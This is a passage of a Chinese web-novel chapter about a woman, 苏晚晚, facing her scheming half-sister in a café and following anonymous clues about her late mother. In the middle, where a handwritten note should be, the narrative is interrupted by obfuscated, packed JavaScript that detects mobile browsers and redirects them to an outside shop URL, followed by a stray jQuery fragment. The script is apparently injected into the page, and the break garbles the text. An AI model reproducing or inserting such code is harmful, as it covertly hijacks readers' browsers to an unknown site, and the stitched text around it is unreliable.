浅水湾那家咖啡馆开在小区最外侧的商铺二楼，落地窗正对着马路，能看到来往的车流。苏晚晚到的时候，林婉儿已经坐在靠窗的位置了，一杯冰美式摆在面前，吸管插好了，杯壁沁出一圈水珠。
她穿了一件鹅黄色的连衣裙，领口开得很低，锁骨上挂着一条细细的铂金项链，吊坠是一颗米粒大小的碎钻。头发披散着，比上次见面时染浅了一个色号，发尾微微卷曲，像是刚从发廊出来。
苏晚晚在她对面坐下来，把帆布袋放在身边，没有点单。
“你瘦了。”林婉儿开口，目光没有落在苏晚晚脸上，而是看着杯子里正在融化的冰块，语气里带着一种小心翼翼的关心，像是真的在心疼她，“这几天住哪儿？傅衍之说连酒店钱都没给你。”
“有事就说。”
林婉儿愣了一下，脸上的表情变了变，没接话，低头搅了搅杯子里的冰块，冰块撞在杯壁上发出细碎的声响。“姐姐，我知道你恨我。但这件事真不是我能决定的。傅衍之要跟你离婚，我拦不住他。他把我带回家，我也没办法拒绝。”
苏晚晚把手搭在桌沿，没有打断她，也没有看她。目光落在那杯冰美式上——冰块已经开始化了，颜色变淡，像被稀释过的药水。
“我今天来是跟你道歉的，”林婉儿的声音低了一些，“不管怎么说，你是我姐姐。我不该……我不该在他还没跟你离婚的时候就住进去。是我不对。”
她说“是我不对”那三个字的时候，语调微微上扬，带着一种轻飘飘的、像是认错又不完全认错的味道。说完之后，她的嘴角向上牵了一下，又迅速抿住——像是一句台词念完后不经意流露的满意，又迅速抹去。
苏晚晚看了她一眼。林婉儿也看着她，眼珠被睫毛膏的阴影衬得很亮，眼角微微湿润。
苏晚晚把手伸进帆布袋里，摸出那串钥匙，放在桌面上。皮卡丘的挂绳从指间垂下来，摇晃了两下，停住。
林婉儿的目光落在那串钥匙上，脸上那副即将落泪的表情停了一瞬，像被什么东西卡住。她认得那串钥匙——傅家主卧的备用钥匙，傅衍之书房的门禁卡，还有地下储藏室那只保险柜的备用钥匙。她找了很久都没找到。
“你把这个拿出来做什么？”林婉儿的语气变了——变得谨慎，不再那么软绵绵的。
苏晚晚把钥匙收回去，放回帆布袋里，拉好拉链。
“你今天来这里，是想确认什么？”她问。
林婉儿沉默了几秒。她端起冰美式喝了一口，冰块撞在杯壁上发出清脆的声响，放下杯子的时候，手指在杯沿上停住了，像是在考虑措辞。
“傅衍之昨天把书房的门锁换了，”她说，声音压低了一些，“之前他从来不锁书房的。而且他这几天晚上都不回家，电话也不接。他是不是在查什么？”
苏晚晚看着她，没有回答。
林婉儿的手指在桌面上敲了一下，节奏不紧不慢的，像是排练过的。“还有，他前天让公司的财务把过去三年的账目全部重新整理了一遍。财务部的人跟我说，是上面的意思。”
“你把那串钥匙带走，是在书房里看到了什么？”林婉儿忽然问，声音不高，但语调变了，不再有那层柔弱的伪装，露出底下那层细细的、锐利的试探。
苏晚晚没有躲开她的目光。她看着林婉儿，过了两秒钟，轻轻地笑了一下。
“你觉得呢？”
林婉儿的瞳孔缩了一下。她没有继续问，端起冰美式又喝了一口，喝得比刚才慢了一些，像是在用这个动作消化什么。
“我要回去了，”苏晚晚站起来，“楼下有人在等我。”
林婉儿没有站起来。她坐在卡座里，看着苏晚晚拎起那个帆布袋往楼梯口走，直到她的身影消失在楼梯转角，才收回目光。她低下头，看了一眼桌面——苏晚晚坐过的地方，留下了一个淡淡的湿痕，是帆布袋底部的雨水。林婉儿伸出一根手指，按在那片湿痕上，感受着那点凉意，然后掏出手帕擦了擦手指。
楼梯间里，苏晚晚走到底层的时候停了一下，从口袋里掏出手机看了一眼。屏幕上有一条短信，发送时间在十五分钟前，没有备注名：
“浅水湾二楼咖啡馆，林婉儿坐的那个位置的对面，收银台后面那排架子的第三层——有一个黑色手提袋，你走的时候带走。请在三分钟之内取走，收银员会在整点换班。”
她锁屏，放回口袋，推开楼梯间的门走进一楼大厅。收银台后面那排架子果然放着一个黑色的帆布手提袋，不大，像是装文件用的。她走过去，对收银员说了句“帮我把这个拿给二楼靠窗的那位小姐，鹅黄色裙子的”，然后拎起那个手提袋，推开门走出去。收银员站在原地犹豫着要不要接话时，她已经穿过了旋转门。
门外的阳光刺眼，她眯起眼睛，走进阳光里。
浅水湾外面的马路正在修路，扬起一片灰尘。苏晚晚沿着人行道走了几步，在一个垃圾桶旁边停下来，打开那个黑色的手提袋——里面只有一张纸，对折的，很薄。
她展开来，上面只有一行手写的字，蓝黑墨水，笔迹很轻，像是怕被人看到：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741813|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“三天后，龙首山公墓。你母亲墓碑后面，有一块松动的砖。翻开。”
苏晚晚的指尖捏着那张纸，凉意从纸面渗进指腹。她握纸的手没有动，但握着纸条那几根手指的指尖微微收紧了一下——然后松开，像被夜风拂过的水面，只那一瞬，随后恢复平静。
她把那张纸看了两遍，折好，塞进帆布袋的夹层里，跟那封1998年的信放在一起。手提袋里除了那张纸，没有别的东西了，她把空袋子卷成一团，推进垃圾桶里，拍了拍手上的灰尘，往地铁站的方向走。
走了几步，脚步慢下来。
她掏出手机，翻到通讯录里的那个名字——没有备注名的陌生号码，昨天下午发短信约她去茶语轩的那个。她点开对话框，打了几个字，又删掉，锁屏，把手机放回口袋。
地铁口的风从地下涌上来，带着一股铁锈和旧报纸混合的气味。她站在入口处，看着电子屏幕上滚动的时刻表，没有犹豫太久，走下了台阶。
地铁里人不多，她靠着一扇车门站着，把手伸进帆布袋，隔着那层帆布摸了摸那封信的轮廓。列车驶入隧道，窗外的灯光一段一段地闪过去，她的倒影映在玻璃上，被光线切割又拼合，像一幅被反复折叠的画。
到站的时候，她走出车厢，沿着通道往出口走。走到一半，她忽然停下来，站在一面广告牌旁边，从包里拿出那串钥匙，用指甲拨动皮卡丘挂绳上那只小小的金属环，把它取了下来。
金属环很细，直径大约一厘米，内侧刻着一行极小的数字。她把那串钥匙握在手里，手指慢慢合拢，感受到金属环的边缘在掌心留下了一道浅浅的压痕。
她把金属环放回帆布袋的夹层里，拉好拉链，继续往出口走。
站口外的路灯已经亮了，街上的人潮比刚才多了不少，晚高峰刚刚开始。苏晚晚站在路灯下，看着手机屏幕上那个陌生的号码，犹豫了很久。她还是拨过去了。
“您好，您拨打的电话是空号。”
她挂断电话，盯着屏幕看了几秒钟，收起手机，沿着人行道往酒店的方向走。橘黄色的路灯光把她的影子拉得很长，落在身后，像一个沉默的、追随她的影子。
走了大约五十米，她的手机震了一下。
她掏出来看——是一条彩信，发件人的号码被隐藏了。彩信里只有一张图片，昏暗的灯光下，一把铁锹倚靠在水泥墙边，旁边是一扇半开的铁门，门缝里透出一点光。
图片下方附了一行字：
“你妈妈的东西，不止一封信。来不来随你。”